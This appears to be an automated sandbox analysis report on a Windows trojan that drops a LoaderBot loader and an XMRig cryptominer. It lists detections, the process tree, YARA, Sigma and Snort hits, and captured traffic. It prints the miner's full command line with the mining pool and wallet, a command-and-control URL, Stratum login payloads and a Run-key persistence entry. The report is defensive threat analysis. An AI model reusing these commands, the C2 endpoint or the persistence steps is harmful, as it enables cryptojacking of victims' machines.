Edit tour

Windows Analysis Report
h2UFp4aCRq.exe

Overview

General Information

Sample name:	h2UFp4aCRq.exe renamed because original name is a hash value
Original sample name:	1fecbc51b5620e578c48a12ebeb19bc2.exe
Analysis ID:	1461232
MD5:	1fecbc51b5620e578c48a12ebeb19bc2
SHA1:	94fe551f4fb3ff76a0be99a962dc20fc2656453e
SHA256:	9a4c96b227213b7049f851572487d42c994220bbf584f631bf347a507b684c1a
Tags:	64exetrojan
Infos:

Detection

LoaderBot, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Xmrig

Snort IDS alert for network traffic

Yara detected LoaderBot

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Machine Learning detection for dropped file

Sigma detected: Potential Crypto Mining Activity

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

h2UFp4aCRq.exe (PID: 4484 cmdline: "C:\Users\user\Desktop\h2UFp4aCRq.exe" MD5: 1FECBC51B5620E578C48A12EBEB19BC2)

cmd.exe (PID: 3488 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rolex.exe (PID: 6584 cmdline: rolex.exe -priverdD MD5: 8866D677A3309A0AD903F37557C5941B)

yondex.exe (PID: 6936 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe" MD5: BD2413C32E34D0031F7881D51AE731FF)

Driver.exe (PID: 7280 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 7288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7400 cmdline: C:\Windows\system32\WerFault.exe -u -p 7280 -s 764 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

Driver.exe (PID: 7440 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7340 cmdline: C:\Windows\system32\WerFault.exe -u -p 7440 -s 552 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

svchost.exe (PID: 7344 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7384 cmdline: C:\Windows\system32\WerFault.exe -pss -s 436 -p 7280 -ip 7280 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 7400 cmdline: C:\Windows\system32\WerFault.exe -pss -s 208 -p 7440 -ip 7440 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 7808 cmdline: C:\Windows\system32\WerFault.exe -pss -s 548 -p 7424 -ip 7424 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 8052 cmdline: C:\Windows\system32\WerFault.exe -pss -s 508 -p 1712 -ip 1712 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

yondex.exe (PID: 7568 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe" MD5: BD2413C32E34D0031F7881D51AE731FF)

yondex.exe (PID: 7864 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe" MD5: BD2413C32E34D0031F7881D51AE731FF)

yondex.exe (PID: 8064 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe" MD5: BD2413C32E34D0031F7881D51AE731FF)

Driver.exe (PID: 7424 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7724 cmdline: C:\Windows\system32\WerFault.exe -u -p 7424 -s 876 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

Driver.exe (PID: 1712 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 692 cmdline: C:\Windows\system32\WerFault.exe -u -p 1712 -s 864 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

Driver.exe (PID: 3600 cmdline: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2 MD5: 02569A7A91A71133D4A1023BF32AA6F4)

conhost.exe (PID: 5652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LoaderBot

{"C2 url": "https://cv99160.tw1.ru/cmd.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	MALWARE_Win_CoinMiner04	Detects coinmining malware	ditekSHen	0x24ea:$s1: createDll 0x27dc:$s2: getTasks 0x2644:$s3: SetStartup 0x2518:$s4: loadUrl 0x26cd:$s5: Processer 0x2849:$s6: checkProcess 0x2856:$s7: runProcess 0x26f5:$s8: createDir 0x2a0b:$cnc1: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 0x2a9f:$cnc2: ?hwid= 0x2acf:$cnc3: ?timeout=1 0x2c01:$cnc4: &completed= 0x2c45:$cnc5: /cmd.php

Memory Dumps

Source	Rule	Description	Author	Strings
0000001D.00000003.3496111858.0000000000515000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000003.3609636273.0000000000515000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000015.00000002.3029846124.0000000000656000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.1804831542.00000000004A6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000002.2583502346.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000003.3763661932.0000000000515000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000004.00000000.1730928897.0000000000692000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
0000001D.00000002.4173054764.0000000000515000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000015.00000002.3029846124.00000000005D2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x22d4f8:$a1: mining.set_target 0x228fd8:$a2: XMRIG_HOSTNAME 0x22b048:$a3: Usage: xmrig [OPTIONS] 0x228fb0:$a4: XMRIG_VERSION
00000019.00000002.3336155249.0000000000611000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000003.00000003.1726307942.000001FEAC072000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
0000001D.00000002.4172854345.0000000000491000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: rolex.exe PID: 6584	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: rolex.exe PID: 6584	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
Process Memory Space: yondex.exe PID: 6936	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: yondex.exe PID: 6936	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
Process Memory Space: Driver.exe PID: 7280	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 7280	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4108c:$a1: mining.set_target 0x3deea:$a2: XMRIG_HOSTNAME 0x3ef9c:$a3: Usage: xmrig [OPTIONS] 0x3decb:$a4: XMRIG_VERSION
Process Memory Space: Driver.exe PID: 7440	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 7424	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 1712	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Driver.exe PID: 3600	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.0.yondex.exe.690000.0.unpack	JoeSecurity_LoaderBot	Yara detected LoaderBot	Joe Security
4.0.yondex.exe.690000.0.unpack	MALWARE_Win_CoinMiner04	Detects coinmining malware	ditekSHen	0x24ea:$s1: createDll 0x27dc:$s2: getTasks 0x2644:$s3: SetStartup 0x2518:$s4: loadUrl 0x26cd:$s5: Processer 0x2849:$s6: checkProcess 0x2856:$s7: runProcess 0x26f5:$s8: createDir 0x2a0b:$cnc1: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 0x2a9f:$cnc2: ?hwid= 0x2acf:$cnc3: ?timeout=1 0x2c01:$cnc4: &completed= 0x2c45:$cnc5: /cmd.php

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2, CommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, NewProcessName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, ParentProcessId: 6936, ParentProcessName: yondex.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2, ProcessId: 7280, ProcessName: Driver.exe

System Summary

Sigma detected: Potential Crypto Mining Activity

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2, CommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, NewProcessName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, ParentProcessId: 6936, ParentProcessName: yondex.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2, ProcessId: 7280, ProcessName: Driver.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, ProcessId: 6936, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 7344, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe, ProcessId: 6936, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Snort Signatures

ET TROJAN CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	06/23/24-11:31:12.198589
SID:	2047928
Source Port:	49698
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 4.0.yondex.exe.690000.0.unpack

Malware Configuration Extractor: LoaderBot {"C2 url": "https://cv99160.tw1.ru/cmd.php"}

Multi AV Scanner detection for domain / URL

Source: pool.supportxmr.com

Virustotal: Detection: 9%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Virustotal: Detection: 14%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Virustotal: Detection: 67%	Perma Link
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe (copy)	Virustotal: Detection: 67%	Perma Link

Multi AV Scanner detection for submitted file

Source: h2UFp4aCRq.exe	ReversingLabs: Detection: 39%
Source: h2UFp4aCRq.exe	Virustotal: Detection: 56%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000001D.00000003.3496111858.0000000000515000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3609636273.0000000000515000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3029846124.0000000000656000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1804831542.00000000004A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2583502346.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3763661932.0000000000515000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4173054764.0000000000515000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3029846124.00000000005D2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3336155249.0000000000611000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.4172854345.0000000000491000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rolex.exe PID: 6584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yondex.exe PID: 6936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 1712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Driver.exe PID: 3600, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 141.94.96.144:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"49p3pcazuyqgzcctcw2i6kgbfc5nozalz4wrytdxqn8yrbzjnb4f2ee6f7vggfwqgqeb5qdae3oww72bsbnbcpetadgcrmw","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49797 -> 141.94.96.144:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"49p3pcazuyqgzcctcw2i6kgbfc5nozalz4wrytdxqn8yrbzjnb4f2ee6f7vggfwqgqeb5qdae3oww72bsbnbcpetadgcrmw","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49825 -> 141.94.96.195:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"49p3pcazuyqgzcctcw2i6kgbfc5nozalz4wrytdxqn8yrbzjnb4f2ee6f7vggfwqgqeb5qdae3oww72bsbnbcpetadgcrmw","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 141.94.96.71:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"49p3pcazuyqgzcctcw2i6kgbfc5nozalz4wrytdxqn8yrbzjnb4f2ee6f7vggfwqgqeb5qdae3oww72bsbnbcpetadgcrmw","pass":"x","agent":"xmrig/6.2.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","algo":["cn/0","cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn-lite/0","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/ccx","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx","rx/keva","argon2/chukwa","argon2/wrkz","astrobwt","kawpow"]}}.

Found strings related to Crypto-Mining

Source: Driver.exe	String found in binary or memory: stratum+tcp://
Source: rolex.exe, 00000003.00000003.1726307942.000001FEAC072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: @cryptonight/0cn
Source: Driver.exe	String found in binary or memory: stratum+tcp://
Source: Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: Driver.exe, 00000005.00000002.1805223166.0000000140001000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: XMRig 6.2.2

Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.53.96.121:443 -> 192.168.2.4:49878 version: TLS 1.2

Source: h2UFp4aCRq.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\danie\Desktop\Sources\Miner Source1\obj\x86\Debug\miner.pdb source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr
Source:	Binary string: C:\Users\danie\Desktop\Sources\Miner Source1\obj\x86\Debug\miner.pdbP source: rolex.exe, 00000003.00000003.1726307942.000001FEAC2EE000.00000004.00000020.00020000.00000000.sdmp, yondex.exe, 00000004.00000000.1730928897.0000000000A15000.00000002.00000001.01000000.0000000B.sdmp, yondex.exe.3.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: h2UFp4aCRq.exe, rolex.exe.0.dr

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65594B190 